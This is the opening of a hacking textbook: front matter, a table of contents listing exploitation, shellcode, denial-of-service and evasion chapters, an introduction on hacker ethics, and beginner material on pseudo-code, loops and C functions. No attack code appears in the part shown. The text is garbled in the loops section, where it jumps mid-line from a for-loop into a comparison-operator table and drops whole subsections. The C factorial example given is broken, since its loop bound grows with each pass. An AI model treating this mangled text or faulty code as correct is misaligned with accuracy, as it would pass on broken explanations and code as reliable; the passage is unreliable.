2nd Edition

Hacking the art of exploitation jon erickson

PRAISE FOR THE FIRST EDITION OF HACKING: THE ART OF EXPLOITATION
“Most complete tutorial on hacking techniques. Finally a book that does not just show how to use the exploits but how to develop them.” —PHRACK “From all the books I’ve read so far, I would consider this the seminal hackers handbook.” —SECURITY FORUMS “I recommend this book for the programming section alone.” —UNIX REVIEW “I highly recommend this book. It is written by someone who knows of what he speaks, with usable code, tools and examples.” —IEEE CIPHER “Erickson’s book, a compact and no-nonsense guide for novice hackers, is filled with real code and hacking techniques and explanations of how they work.” —COMPUTER POWER USER (CPU) MAGAZINE “This is an excellent book. Those who are ready to move on to [the next level] should pick this book up and read it thoroughly.” —ABOUT.COM INTERNET/NETWORK SECURITY

®

San Francisco

HACKING: THE ART OF EXPLOITATION, 2ND EDITION. Copyright © 2008 by Jon Erickson. All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording, or by any information storage or retrieval system, without the prior written permission of the copyright owner and the publisher. Printed on recycled paper in the United States of America 11 10 09 08 07 123456789

ISBN-10: 1-59327-144-1 ISBN-13: 978-1-59327-144-2 Publisher: William Pollock Production Editors: Christina Samuell and Megan Dunchak Cover Design: Octopod Studios Developmental Editor: Tyler Ortman Technical Reviewer: Aaron Adams Copyeditors: Dmitry Kirsanov and Megan Dunchak Compositors: Christina Samuell and Kathleen Mish Proofreader: Jim Brook Indexer: Nancy Guenther For information on book distributors or translations, please contact No Starch Press, Inc. directly: No Starch Press, Inc. 555 De Haro Street, Suite 250, San Francisco, CA 94107 phone: 415.863.9900; fax: 415.863.9950; info@nostarch.com; www.nostarch.com Librar y of Congress Cataloging-in-Publication Data Erickson, Jon, 1977Hacking : the art of exploitation / Jon Erickson. -- 2nd ed. p. cm. ISBN-13: 978-1-59327-144-2 ISBN-10: 1-59327-144-1 1. Computer security. 2. Computer hackers. 3. Computer networks--Security measures. QA76.9.A25E75 2008 005.8--dc22 2007042910

I. Title.

No Starch Press and the No Starch Press logo are registered trademarks of No Starch Press, Inc. Other product and company names mentioned herein may be the trademarks of their respective owners. Rather than use a trademark symbol with every occurrence of a trademarked name, we are using the names only in an editorial fashion and to the benefit of the trademark owner, with no intention of infringement of the trademark. The information in this book is distributed on an “As Is” basis, without warranty. While every precaution has been taken in the preparation of this work, neither the author nor No Starch Press, Inc. shall have any liability to any person or entity with respect to any loss or damage caused or alleged to be caused directly or indirectly by the information contained in it.

BRIEF CONTENTS

Preface ......................................................................................................................... xi Acknowledgments ......................................................................................................... xii 0x100 0x200 0x300 0x400 0x500 0x600 0x700 0x800 Introduction .......................................................................................................1 Programming .....................................................................................................5 Exploitation ...................................................................................................115 Networking ...................................................................................................195 Shellcode ......................................................................................................281 Countermeasures............................................................................................319 Cryptology ....................................................................................................393 Conclusion ....................................................................................................451

Index .........................................................................................................................455

CONTENTS IN DETAIL
P R E F A CE A CK N O W LE D G M E N T S 0x100 0x200
0x210 0x220 0x230

xi xii 1 5

INTRODUCTION PROGRAMMING

0x240

0x250

0x260

0x270

0x280

What Is Programming? ................................................................................. 6 Pseudo-code ................................................................................................ 7 Control Structures ......................................................................................... 8 0x231 If-Then-Else...................................................................................... 8 0x232 While/Until Loops ........................................................................... 9 0x233 For Loops ..................................................................................... 10 More Fundamental Programming Concepts ................................................... 11 0x241 Variables ..................................................................................... 11 0x242 Arithmetic Operators ..................................................................... 12 0x243 Comparison Operators .................................................................. 14 0x244 Functions...................................................................................... 16 Getting Your Hands Dirty ............................................................................ 19 0x251 The Bigger Picture ......................................................................... 20 0x252 The x86 Processor ......................................................................... 23 0x253 Assembly Language....................................................................... 25 Back to Basics............................................................................................ 37 0x261 Strings ......................................................................................... 38 0x262 Signed, Unsigned, Long, and Short ................................................. 41 0x263 Pointers ........................................................................................ 43 0x264 Format Strings............................................................................... 48 0x265 Typecasting .................................................................................. 51 0x266 Command-Line Arguments .............................................................. 58 0x267 Variable Scoping .......................................................................... 62 Memory Segmentation ................................................................................ 69 0x271 Memory Segments in C .................................................................. 75 0x272 Using the Heap ............................................................................. 77 0x273 Error-Checked malloc() ................................................................... 80 Building on Basics ...................................................................................... 81 0x281 File Access ................................................................................... 81 0x282 File Permissions ............................................................................. 87 0x283 User IDs ....................................................................................... 88 0x284 Structs.......................................................................................... 96 0x285 Function Pointers ......................................................................... 100 0x286 Pseudo-random Numbers ............................................................. 101 0x287 A Game of Chance ..................................................................... 102

0x300
0x310 0x320 0x330 0x340

E X PL O I T A T I O N

115

0x350

Generalized Exploit Techniques ................................................................. 118 Buffer Overflows ...................................................................................... 119 0x321 Stack-Based Buffer Overflow Vulnerabilities .................................... 122 Experimenting with BASH.......................................................................... 133 0x331 Using the Environment.................................................................. 142 Overflows in Other Segments .................................................................... 150 0x341 A Basic Heap-Based Overflow ...................................................... 150 0x342 Overflowing Function Pointers ....................................................... 156 Format Strings.......................................................................................... 167 0x351 Format Parameters....................................................................... 167 0x352 The Format String Vulnerability...................................................... 170 0x353 Reading from Arbitrary Memory Addresses .................................... 172 0x354 Writing to Arbitrary Memory Addresses ......................................... 173 0x355 Direct Parameter Access ............................................................... 180 0x356 Using Short Writes ...................................................................... 182 0x357 Detours with .dtors....................................................................... 184 0x358 Another notesearch Vulnerability ................................................... 189 0x359 Overwriting the Global Offset Table .............................................. 190

0x400
0x410 0x420

N E T W O RK IN G

195

0x430

0x440

0x450

0x460

OSI Model .............................................................................................. 196 Sockets ................................................................................................... 198 0x421 Socket Functions.......................................................................... 199 0x422 Socket Addresses ........................................................................ 200 0x423 Network Byte Order .................................................................... 202 0x424 Internet Address Conversion ......................................................... 203 0x425 A Simple Server Example ............................................................. 203 0x426 A Web Client Example ................................................................ 207 0x427 A Tinyweb Server ........................................................................ 213 Peeling Back the Lower Layers.................................................................... 217 0x431 Data-Link Layer............................................................................ 218 0x432 Network Layer ............................................................................ 220 0x433 Transport Layer ........................................................................... 221 Network Sniffing ...................................................................................... 224 0x441 Raw Socket Sniffer....................................................................... 226 0x442 libpcap Sniffer ............................................................................ 228 0x443 Decoding the Layers .................................................................... 230 0x444 Active Sniffing............................................................................. 239 Denial of Service ...................................................................................... 251 0x451 SYN Flooding ............................................................................. 252 0x452 The Ping of Death........................................................................ 256 0x453 Teardrop .................................................................................... 256 0x454 Ping Flooding ............................................................................. 257 0x455 Amplification Attacks ................................................................... 257 0x456 Distributed DoS Flooding.............................................................. 258 TCP/IP Hijacking...................................................................................... 258 0x461 RST Hijacking ............................................................................. 259 0x462 Continued Hijacking .................................................................... 263

viii

C on t en t s in D et ai l

0x470

0x480

Port Scanning .......................................................................................... 264 0x471 Stealth SYN Scan ........................................................................ 264 0x472 FIN, X-mas, and Null Scans .......................................................... 264 0x473 Spoofing Decoys ......................................................................... 265 0x474 Idle Scanning.............................................................................. 265 0x475 Proactive Defense (shroud)............................................................ 267 Reach Out and Hack Someone .................................................................. 272 0x481 Analysis with GDB....................................................................... 273 0x482 Almost Only Counts with Hand Grenades ...................................... 275 0x483 Port-Binding Shellcode ................................................................. 278

0x500
0x510 0x520

SH E L L CO D E

281

0x530

0x540

0x550

Assembly vs. C ........................................................................................ 282 0x511 Linux System Calls in Assembly ..................................................... 284 The Path to Shellcode................................................................................ 286 0x521 Assembly Instructions Using the Stack ............................................ 287 0x522 Investigating with GDB................................................................. 289 0x523 Removing Null Bytes .................................................................... 290 Shell-Spawning Shellcode.......................................................................... 295 0x531 A Matter of Privilege .................................................................... 299 0x532 And Smaller Still.......................................................................... 302 Port-Binding Shellcode .............................................................................. 303 0x541 Duplicating Standard File Descriptors............................................. 307 0x542 Branching Control Structures ......................................................... 309 Connect-Back Shellcode ............................................................................ 314

0x600
0x610 0x620

C O U N T E R M E AS U R E S

319

0x630 0x640 0x650

0x660

0x670 0x680

0x690

Countermeasures That Detect ..................................................................... 320 System Daemons ...................................................................................... 321 0x621 Crash Course in Signals ............................................................... 322 0x622 Tinyweb Daemon ........................................................................ 324 Tools of the Trade..................................................................................... 328 0x631 tinywebd Exploit Tool................................................................... 329 Log Files.................................................................................................. 334 0x641 Blend In with the Crowd ............................................................... 334 Overlooking the Obvious .......................................................................... 336 0x651 One Step at a Time ..................................................................... 336 0x652 Putting Things Back Together Again ............................................... 340 0x653 Child Laborers ............................................................................ 346 Advanced Camouflage ............................................................................. 348 0x661 Spoofing the Logged IP Address .................................................... 348 0x662 Logless Exploitation ..................................................................... 352 The Whole Infrastructure ........................................................................... 354 0x671 Socket Reuse .............................................................................. 355 Payload Smuggling .................................................................................. 359 0x681 String Encoding .......................................................................... 359 0x682 How to Hide a Sled..................................................................... 362 Buffer Restrictions ..................................................................................... 363 0x691 Polymorphic Printable ASCII Shellcode........................................... 366

C on t en ts in D et ail

ix

0x6a0 0x6b0

0x6c0

Hardening Countermeasures...................................................................... 376 Nonexecutable Stack ................................................................................ 376 0x6b1 ret2libc ...................................................................................... 376 0x6b2 Returning into system().................................................................. 377 Randomized Stack Space .......................................................................... 379 0x6c1 Investigations with BASH and GDB ................................................ 380 0x6c2 Bouncing Off linux-gate ................................................................ 384 0x6c3 Applied Knowledge ..................................................................... 388 0x6c4 A First Attempt............................................................................. 388 0x6c5 Playing the Odds ......................................................................... 390

0x700
0x710

C R YP T O LO G Y

393

0x720 0x730 0x740

0x750

0x760

0x770

0x780

Information Theory ................................................................................... 394 0x711 Unconditional Security ................................................................. 394 0x712 One-Time Pads............................................................................ 395 0x713 Quantum Key Distribution............................................................. 395 0x714 Computational Security ................................................................ 396 Algorithmic Run Time ................................................................................ 397 0x721 Asymptotic Notation .................................................................... 398 Symmetric Encryption................................................................................ 398 0x731 Lov Grover’s Quantum Search Algorithm........................................ 399 Asymmetric Encryption .............................................................................. 400 0x741 RSA ........................................................................................... 400 0x742 Peter Shor’s Quantum Factoring Algorithm ..................................... 404 Hybrid Ciphers ........................................................................................ 406 0x751 Man-in-the-Middle Attacks ............................................................ 406 0x752 Differing SSH Protocol Host Fingerprints ......................................... 410 0x753 Fuzzy Fingerprints ....................................................................... 413 Password Cracking................................................................................... 418 0x761 Dictionary Attacks ....................................................................... 419 0x762 Exhaustive Brute-Force Attacks....................................................... 422 0x763 Hash Lookup Table ...................................................................... 423 0x764 Password Probability Matrix ......................................................... 424 Wireless 802.11b Encryption .................................................................... 433 0x771 Wired Equivalent Privacy ............................................................. 434 0x772 RC4 Stream Cipher ..................................................................... 435 WEP Attacks............................................................................................ 436 0x781 Offline Brute-Force Attacks............................................................ 436 0x782 Keystream Reuse ......................................................................... 437 0x783 IV-Based Decryption Dictionary Tables ........................................... 438 0x784 IP Redirection.............................................................................. 438 0x785 Fluhrer, Mantin, and Shamir Attack ............................................... 439

0x800
0x810 0x820

C O N C LU S I O N

451

References............................................................................................... 452 Sources ................................................................................................... 454

I ND E X

455

x

C on t en ts in D et ai l

PREFACE

The goal of this book is to share the art of hacking with everyone. Understanding hacking techniques is often difficult, since it requires both breadth and depth of knowledge. Many hacking texts seem esoteric and confusing because of just a few gaps in this prerequisite education. This second edition of Hacking: The Art of Exploitation makes the world of hacking more accessible by providing the complete picture—from programming to machine code to exploitation. In addition, this edition features a bootable LiveCD based on Ubuntu Linux that can be used in any computer with an x 86 processor, without modifying the computer’s existing OS. This CD contains all the source code in the book and provides a development and exploitation environment you can use to follow along with the book’s examples and experiment along the way.

ACKNOWLEDGMENTS

I would like to thank Bill Pollock and everyone else at No Starch Press for making this book a possibility and allowing me to have so much creative control in the process. Also, I would like to thank my friends Seth Benson and Aaron Adams for proofreading and editing, Jack Matheson for helping me with assembly, Dr. Seidel for keeping me interested in the science of computer science, my parents for buying that first Commodore VIC-20, and the hacker community for the innovation and creativity that produced the techniques explained in this book.

0x100
INTRODUCTION
The idea of hacking may conjure stylized images of electronic vandalism, espionage, dyed hair, and body piercings. Most people associate hacking with breaking the law and assume that everyone who engages in hacking activities is a criminal. Granted, there are people out there who use hacking techniques to break the law, but hacking isn’t really about that. In fact, hacking is more about following the law than breaking it. The essence of hacking is finding unintended or overlooked uses for the laws and properties of a given situation and then applying them in new and inventive ways to solve a problem—whatever it may be. The following math problem illustrates the essence of hacking:
Use each of the numbers 1, 3, 4, and 6 exactly once with any of the four basic math operations (addition, subtraction, multiplication, and division) to total 24. Each number must be used once and only once, and you may define the order of operations; for example, 3 * (4 + 6) + 1 = 31 is valid, however incorrect, since it doesn’t total 24.

The rules for this problem are well defined and simple, yet the answer eludes many. Like the solution to this problem (shown on the last page of this book), hacked solutions follow the rules of the system, but they use those rules in counterintuitive ways. This gives hackers their edge, allowing them to solve problems in ways unimaginable for those confined to conventional thinking and methodologies. Since the infancy of computers, hackers have been creatively solving problems. In the late 1950s, the MIT model railroad club was given a donation of parts, mostly old telephone equipment. The club’s members used this equipment to rig up a complex system that allowed multiple operators to control different parts of the track by dialing in to the appropriate sections. They called this new and inventive use of telephone equipment hacking ; many people consider this group to be the original hackers. The group moved on to programming on punch cards and ticker tape for early computers like the IBM 704 and the TX-0. While others were content with writing programs that just solved problems, the early hackers were obsessed with writing programs that solved problems well. A new program that could achieve the same result as an existing one but used fewer punch cards was considered better, even though it did the same thing. The key difference was how the program achieved its results—elegance. Being able to reduce the number of punch cards needed for a program showed an artistic mastery over the computer. A nicely crafted table can hold a vase just as well as a milk crate can, but one sure looks a lot better than the other. Early hackers proved that technical problems can have artistic solutions, and they thereby transformed programming from a mere engineering task into an art form. Like many other forms of art, hacking was often misunderstood. The few who got it formed an informal subculture that remained intensely focused on learning and mastering their art. They believed that information should be free and anything that stood in the way of that freedom should be circumvented. Such obstructions included authority figures, the bureaucracy of college classes, and discrimination. In a sea of graduation-driven students, this unofficial group of hackers defied conventional goals and instead pursued knowledge itself. This drive to continually learn and explore transcended even the conventional boundaries drawn by discrimination, evident in the MIT model railroad club’s acceptance of 12-year-old Peter Deutsch when he demonstrated his knowledge of the TX-0 and his desire to learn. Age, race, gender, appearance, academic degrees, and social status were not primary criteria for judging another’s worth—not because of a desire for equality, but because of a desire to advance the emerging art of hacking. The original hackers found splendor and elegance in the conventionally dry sciences of math and electronics. They saw programming as a form of artistic expression and the computer as an instrument of that art. Their desire to dissect and understand wasn’t intended to demystify artistic endeavors; it was simply a way to achieve a greater appreciation of them. These knowledgedriven values would eventually be called the Hacker Ethic: the appreciation of logic as an art form and the promotion of the free flow of information, surmounting conventional boundaries and restrictions for the simple goal of
2
0x 1 00

better understanding the world. This is not a new cultural trend; the Pythagoreans in ancient Greece had a similar ethic and subculture, despite not owning computers. They saw beauty in mathematics and discovered many core concepts in geometry. That thirst for knowledge and its beneficial byproducts would continue on through history, from the Pythagoreans to Ada Lovelace to Alan Turing to the hackers of the MIT model railroad club. Modern hackers like Richard Stallman and Steve Wozniak have continued the hacking legacy, bringing us modern operating systems, programming languages, personal computers, and many other technologies that we use every day. How does one distinguish between the good hackers who bring us the wonders of technological advancement and the evil hackers who steal our credit card numbers? The term cracker was coined to distinguish evil hackers from the good ones. Journalists were told that crackers were supposed to be the bad guys, while hackers were the good guys. Hackers stayed true to the Hacker Ethic, while crackers were only interested in breaking the law and making a quick buck. Crackers were considered to be much less talented than the elite hackers, as they simply made use of hacker-written tools and scripts without understanding how they worked. Cracker was meant to be the catch-all label for anyone doing anything unscrupulous with a computer— pirating software, defacing websites, and worst of all, not understanding what they were doing. But very few people use this term today. The term’s lack of popularity might be due to its confusing etymology— cracker originally described those who crack software copyrights and reverse engineer copy-protection schemes. Its current unpopularity might simply result from its two ambiguous new definitions: a group of people who engage in illegal activity with computers or people who are relatively unskilled hackers. Few technology journalists feel compelled to use terms that most of their readers are unfamiliar with. In contrast, most people are aware of the mystery and skill associated with the term hacker, so for a journalist, the decision to use the term hacker is easy. Similarly, the term script kiddie is sometimes used to refer to crackers, but it just doesn’t have the same zing as the shadowy hacker. There are some who will still argue that there is a distinct line between hackers and crackers, but I believe that anyone who has the hacker spirit is a hacker, despite any laws he or she may break. The current laws restricting cryptography and cryptographic research further blur the line between hackers and crackers. In 2001, Professor Edward Felten and his research team from Princeton University were about to publish a paper that discussed the weaknesses of various digital watermarking schemes. This paper responded to a challenge issued by the Secure Digital Music Initiative (SDMI) in the SDMI Public Challenge, which encouraged the public to attempt to break these watermarking schemes. Before Felten and his team could publish the paper, though, they were threatened by both the SDMI Foundation and the Recording Industry Association of America (RIAA). The Digital Millennium Copyright Act (DCMA) of 1998 makes it illegal to discuss or provide technology that might be used to bypass industry consumer controls. This same law was used against Dmitry Sklyarov, a Russian computer programmer and hacker. He had written software to circumvent
In t ro duc ti on

3

overly simplistic encryption in Adobe software and presented his findings at a hacker convention in the United States. The FBI swooped in and arrested him, leading to a lengthy legal battle. Under the law, the complexity of the industry consumer controls doesn’t matter—it would be technically illegal to reverse engineer or even discuss Pig Latin if it were used as an industry consumer control. Who are the hackers and who are the crackers now? When laws seem to interfere with free speech, do the good guys who speak their minds suddenly become bad? I believe that the spirit of the hacker transcends governmental laws, as opposed to being defined by them. The sciences of nuclear physics and biochemistry can be used to kill, yet they also provide us with significant scientific advancement and modern medicine. There’s nothing good or bad about knowledge itself; morality lies in the application of knowledge. Even if we wanted to, we couldn’t suppress the knowledge of how to convert matter into energy or stop the continued technological progress of society. In the same way, the hacker spirit can never be stopped, nor can it be easily categorized or dissected. Hackers will constantly be pushing the limits of knowledge and acceptable behavior, forcing us to explore further and further. Part of this drive results in an ultimately beneficial co-evolution of security through competition between attacking hackers and defending hackers. Just as the speedy gazelle adapted from being chased by the cheetah, and the cheetah became even faster from chasing the gazelle, the competition between hackers provides computer users with better and stronger security, as well as more complex and sophisticated attack techniques. The introduction and progression of intrusion detection systems (IDSs) is a prime example of this co-evolutionary process. The defending hackers create IDSs to add to their arsenal, while the attacking hackers develop IDS-evasion techniques, which are eventually compensated for in bigger and better IDS products. The net result of this interaction is positive, as it produces smarter people, improved security, more stable software, inventive problem-solving techniques, and even a new economy. The intent of this book is to teach you about the true spirit of hacking. We will look at various hacker techniques, from the past to the present, dissecting them to learn how and why they work. Included with this book is a bootable LiveCD containing all the source code used herein as well as a preconfigured Linux environment. Exploration and innovation are critical to the art of hacking, so this CD will let you follow along and experiment on your own. The only requirement is an x86 processor, which is used by all Microsoft Windows machines and the newer Macintosh computers—just insert the CD and reboot. This alternate Linux environment will not disturb your existing OS, so when you’re done, just reboot again and remove the CD. This way, you will gain a hands-on understanding and appreciation for hacking that may inspire you to improve upon existing techniques or even to invent new ones. Hopefully, this book will stimulate the curious hacker nature in you and prompt you to contribute to the art of hacking in some way, regardless of which side of the fence you choose to be on.

4

0x 1 00

0x200
PROGRAMMING
Hacker is a term for both those who write code and those who exploit it. Even though these two groups of hackers have different end goals, both groups use similar problem-solving techniques. Since an understanding of programming helps those who exploit, and an understanding of exploitation helps those who program, many hackers do both. There are interesting hacks found in both the techniques used to write elegant code and the techniques used to exploit programs. Hacking is really just the act of finding a clever and counterintuitive solution to a problem. The hacks found in program exploits usually use the rules of the computer to bypass security in ways never intended. Programming hacks are similar in that they also use the rules of the computer in new and inventive ways, but the final goal is efficiency or smaller source code, not necessarily a security compromise. There are actually an infinite number of programs that

can be written to accomplish any given task, but most of these solutions are unnecessarily large, complex, and sloppy. The few solutions that remain are small, efficient, and neat. Programs that have these qualities are said to have elegance, and the clever and inventive solutions that tend to lead to this efficiency are called hacks. Hackers on both sides of programming appreciate both the beauty of elegant code and the ingenuity of clever hacks. In the business world, more importance is placed on churning out functional code than on achieving clever hacks and elegance. Because of the tremendous exponential growth of computational power and memory, spending an extra five hours to create a slightly faster and more memoryefficient piece of code just doesn’t make business sense when dealing with modern computers that have gigahertz of processing cycles and gigabytes of memory. While time and memory optimizations go without notice by all but the most sophisticated of users, a new feature is marketable. When the bottom line is money, spending time on clever hacks for optimization just doesn’t make sense. True appreciation of programming elegance is left for the hackers: computer hobbyists whose end goal isn’t to make a profit but to squeeze every possible bit of functionality out of their old Commodore 64s, exploit writers who need to write tiny and amazing pieces of code to slip through narrow security cracks, and anyone else who appreciates the pursuit and the challenge of finding the best possible solution. These are the people who get excited about programming and really appreciate the beauty of an elegant piece of code or the ingenuity of a clever hack. Since an understanding of programming is a prerequisite to understanding how programs can be exploited, programming is a natural starting point.

0x210

What Is Programming?
Programming is a very natural and intuitive concept. A program is nothing more than a series of statements written in a specific language. Programs are everywhere, and even the technophobes of the world use programs every day. Driving directions, cooking recipes, football plays, and DNA are all types of programs. A typical program for driving directions might look something like this:
Start out down Main Street headed east. Continue on Main Street until you see a church on your right. If the street is blocked because of construction, turn right there at 15th Street, turn left on Pine Street, and then turn right on 16th Street. Otherwise, you can just continue and make a right on 16th Street. Continue on 16th Street, and turn left onto Destination Road. Drive straight down Destination Road for 5 miles, and then you'll see the house on the right. The address is 743 Destination Road.

Anyone who knows English can understand and follow these driving directions, since they’re written in English. Granted, they’re not eloquent, but each instruction is clear and easy to understand, at least for someone who reads English.

6

0x 2 00

But a computer doesn’t natively understand English; it only understands machine language. To instruct a computer to do something, the instructions must be written in its language. However, machine language is arcane and difficult to work with—it consists of raw bits and bytes, and it differs from architecture to architecture. To write a program in machine language for an Intel x86 processor, you would have to figure out the value associated with each instruction, how each instruction interacts, and myriad low-level details. Programming like this is painstaking and cumbersome, and it is certainly not intuitive. What’s needed to overcome the complication of writing machine language is a translator. An assembler is one form of machine-language translator—it is a program that translates assembly language into machine-readable code. Assembly language is less cryptic than machine language, since it uses names for the different instructions and variables, instead of just using numbers. However, assembly language is still far from intuitive. The instruction names are very esoteric, and the language is architecture specific. Just as machine language for Intel x86 processors is different from machine language for Sparc processors, x86 assembly language is different from Sparc assembly language. Any program written using assembly language for one processor’s architecture will not work on another processor’s architecture. If a program is written in x86 assembly language, it must be rewritten to run on Sparc architecture. In addition, in order to write an effective program in assembly language, you must still know many low-level details of the processor architecture you are writing for. These problems can be mitigated by yet another form of translator called a compiler. A compiler converts a high-level language into machine language. High-level languages are much more intuitive than assembly language and can be converted into many different types of machine language for different processor architectures. This means that if a program is written in a highlevel language, the program only needs to be written once; the same piece of program code can be compiled into machine language for various specific architectures. C, C++, and Fortran are all examples of high-level languages. A program written in a high-level language is much more readable and English-like than assembly language or machine language, but it still must follow very strict rules about how the instructions are worded, or the compiler won’t be able to understand it.

0x220

Pseudo-code
Programmers have yet another form of programming language called pseudo-code. Pseudo-code is simply English arranged with a general structure similar to a high-level language. It isn’t understood by compilers, assemblers, or any computers, but it is a useful way for a programmer to arrange instructions. Pseudo-code isn’t well defined; in fact, most people write pseudo-code slightly differently. It’s sort of the nebulous missing link between English and high-level programming languages like C. Pseudo-code makes for an excellent introduction to common universal programming concepts.
Pro gr am mi n g

7

0x230

Control Structures
Without control structures, a program would just be a series of instructions executed in sequential order. This is fine for very simple programs, but most programs, like the driving directions example, aren’t that simple. The driving directions included statements like, Continue on Main Street until you see a church on your right and If the street is blocked because of construction. . . . These statements are known as control structures, and they change the flow of the program’s execution from a simple sequential order to a more complex and more useful flow.

0x231

If-Then-Else

In the case of our driving directions, Main Street could be under construction. If it is, a special set of instructions needs to address that situation. Otherwise, the original set of instructions should be followed. These types of special cases can be accounted for in a program with one of the most natural control structures: the if-then-else structure. In general, it looks something like this:
If (condition) then { Set of instructions to execute if the condition is met; } Else { Set of instruction to execute if the condition is not met; }

For this book, a C-like pseudo-code will be used, so every instruction will end with a semicolon, and the sets of instructions will be grouped with curly braces and indentation. The if-then-else pseudo-code structure of the preceding driving directions might look something like this:
Drive down Main Street; If (street is blocked) { Turn right on 15th Street; Turn left on Pine Street; Turn right on 16th Street; } Else { Turn right on 16th Street; }

Each instruction is on its own line, and the various sets of conditional instructions are grouped between curly braces and indented for readability. In C and many other programming languages, the then keyword is implied and therefore left out, so it has also been omitted in the preceding pseudo-code.

8

0x 2 00

Of course, other languages require the then keyword in their syntax— BASIC, Fortran, and even Pascal, for example. These types of syntactical differences in programming languages are only skin deep; the underlying structure is still the same. Once a programmer understands the concepts these languages are trying to convey, learning the various syntactical variations is fairly trivial. Since C will be used in the later sections, the pseudocode used in this book will follow a C-like syntax, but remember that pseudo-code can take on many forms. Another common rule of C-like syntax is when a set of instructions bounded by curly braces consists of just one instruction, the curly braces are optional. For the sake of readability, it’s still a good idea to indent these instructions, but it’s not syntactically necessary. The driving directions from before can be rewritten following this rule to produce an equivalent piece of pseudo-code:
Drive down Main Street; If (street is blocked) { Turn right on 15th Street; Turn left on Pine Street; Turn right on 16th Street; } Else Turn right on 16th Street;

This rule about sets of instructions holds true for all of the control structures mentioned in this book, and the rule itself can be described in pseudo-code.
If (there is only one instruction in a set of instructions) The use of curly braces to group the instructions is optional; Else { The use of curly braces is necessary; Since there must be a logical way to group these instructions; }

Even the description of a syntax itself can be thought of as a simple program. There are variations of if-then-else, such as select/case statements, but the logic is still basically the same: If this happens do these things, otherwise do these other things (which could consist of even more if-then statements).

0x232

While/Until Loops

Another elementary programming concept is the while control structure, which is a type of loop. A programmer will often want to execute a set of instructions more than once. A program can accomplish this task through looping, but it requires a set of conditions that tells it when to stop looping,

Pro gr am mi n g

9

lest it continue into infinity. A while loop says to execute the following set of instructions in a loop while a condition is true. A simple program for a hungry mouse could look something like this:
While (you are hungry) { Find some food; Eat the food; }

The set of two instructions following the while statement will be repeated while the mouse is still hungry. The amount of food the mouse finds each time could range from a tiny crumb to an entire loaf of bread. Similarly, the number of times the set of instructions in the while statement is executed changes depending on how much food the mouse finds. Another variation on the while loop is an until loop, a syntax that is available in the programming language Perl (C doesn’t use this syntax). An until loop is simply a while loop with the conditional statement inverted. The same mouse program using an until loop would be:
Until (you are not hungry) { Find some food; Eat the food; }

Logically, any until-like statement can be converted into a while loop. The driving directions from before contained the statement Continue on Main Street until you see a church on your right. This can easily be changed into a standard while loop by simply inverting the condition.
While (there is not a church on the right) Drive down Main Street;

0x233

For Loops

Another looping control structure is the for loop. This is generally used when a programmer wants to loop for a certain number of iterations. The driving direction Drive straight down Destination Road for 5 miles could be converted to a for loop that looks something like this:
For (5 iterations) Drive straight for 1 mile;

In reality, a for loop is just a while loop with a counter. The same statement can be written as such:
Set the counter to 0; While (the counter is less than 5)

10

0x200

{ Drive straight for 1 mile; Add 1 to the counter; }

The C-like pseudo-code syntax of a for loop makes this even more apparent:
For (i=0; i b) (a = b) (a == b) (a != b)

Most of these operators are self-explanatory; however, notice that the shorthand for equal to uses double equal signs. This is an important distinction, since the double equal sign is used to test equivalence, while the single equal sign is used to assign a value to a variable. The statement a = 7 means Put the value 7 in the variable a, while a == 7 means Check to see whether the variable a is equal to 7. (Some programming languages like Pascal actually use := for variable assignment to eliminate visual confusion.) Also, notice that an exclamation point generally means not. This symbol can be used by itself to invert any expression.
!(a < b) is equivalent to (a >= b)

These comparison operators can also be chained together using shorthand for OR and AND.
Logic OR AND Symbol
|| &&

Example
((a < b) || (a < c)) ((a < b) && !(a < c))

14

0x200

The example statement consisting of the two smaller conditions joined with OR logic will fire true if a is less than b, OR if a is less than c. Similarly, the example statement consisting of two smaller comparisons joined with AND logic will fire true if a is less than b AND a is not less than c. These statements should be grouped with parentheses and can contain many different variations. Many things can be boiled down to variables, comparison operators, and control structures. Returning to the example of the mouse searching for food, hunger can be translated into a Boolean true/false variable. Naturally, 1 means true and 0 means false.
While (hungry == 1) { Find some food; Eat the food; }

Here’s another shorthand used by programmers and hackers quite often. C doesn’t really have any Boolean operators, so any nonzero value is considered true, and a statement is considered false if it contains 0. In fact, the comparison operators will actually return a value of 1 if the comparison is true and a value of 0 if it is false. Checking to see whether the variable hungry is equal to 1 will return 1 if hungry equals 1 and 0 if hungry equals 0. Since the program only uses these two cases, the comparison operator can be dropped altogether.
While (hungry) { Find some food; Eat the food; }

A smarter mouse program with more inputs demonstrates how comparison operators can be combined with variables.
While ((hungry) && !(cat_present)) { Find some food; If(!(food_is_on_a_mousetrap)) Eat the food; }

This example assumes there are also variables that describe the presence of a cat and the location of the food, with a value of 1 for true and 0 for false. Just remember that any nonzero value is considered true, and the value of 0 is considered false.

P rog ra m min g

15

0x244

Functions

Sometimes there will be a set of instructions the programmer knows he will need several times. These instructions can be grouped into a smaller subprogram called a function. In other languages, functions are known as subroutines or procedures. For example, the action of turning a car actually consists of many smaller instructions: Turn on the appropriate blinker, slow down, check for oncoming traffic, turn the steering wheel in the appropriate direction, and so on. The driving directions from the beginning of this chapter require quite a few turns; however, listing every little instruction for every turn would be tedious (and less readable). You can pass variables as arguments to a function in order to modify the way the function operates. In this case, the function is passed the direction of the turn.
Function Turn(variable_direction) { Activate the variable_direction blinker; Slow down; Check for oncoming traffic; while(there is oncoming traffic) { Stop; Watch for oncoming traffic; } Turn the steering wheel to the variable_direction; while(turn is not complete) { if(speed < 5 mph) Accelerate; } Turn the steering wheel back to the original position; Turn off the variable_direction blinker; }

This function describes all the instructions needed to make a turn. When a program that knows about this function needs to turn, it can just call this function. When the function is called, the instructions found within it are executed with the arguments passed to it; afterward, execution returns to where it was in the program, after the function call. Either left or right can be passed into this function, which causes the function to turn in that direction. By default in C, functions can return a value to a caller. For those familiar with functions in mathematics, this makes perfect sense. Imagine a function that calculates the factorial of a number—naturally, it returns the result. In C, functions aren’t labeled with a “function” keyword; instead, they are declared by the data type of the variable they are returning. This format looks very similar to variable declaration. If a function is meant to return an

16

0x200

integer (perhaps a function that calculates the factorial of some number x), the function could look like this: int factorial(int x) { int i; for(i=1; i < x; i++) x *= i; return x; }

This function is declared as an integer because it multiplies every value from 1 to x and returns the result, which is an integer. The return statement at the end of the function passes back the contents of the variable x and ends the function. This factorial function can then be used like an integer variable in the main part of any program that knows about it. int a=5, b; b = factorial(a);

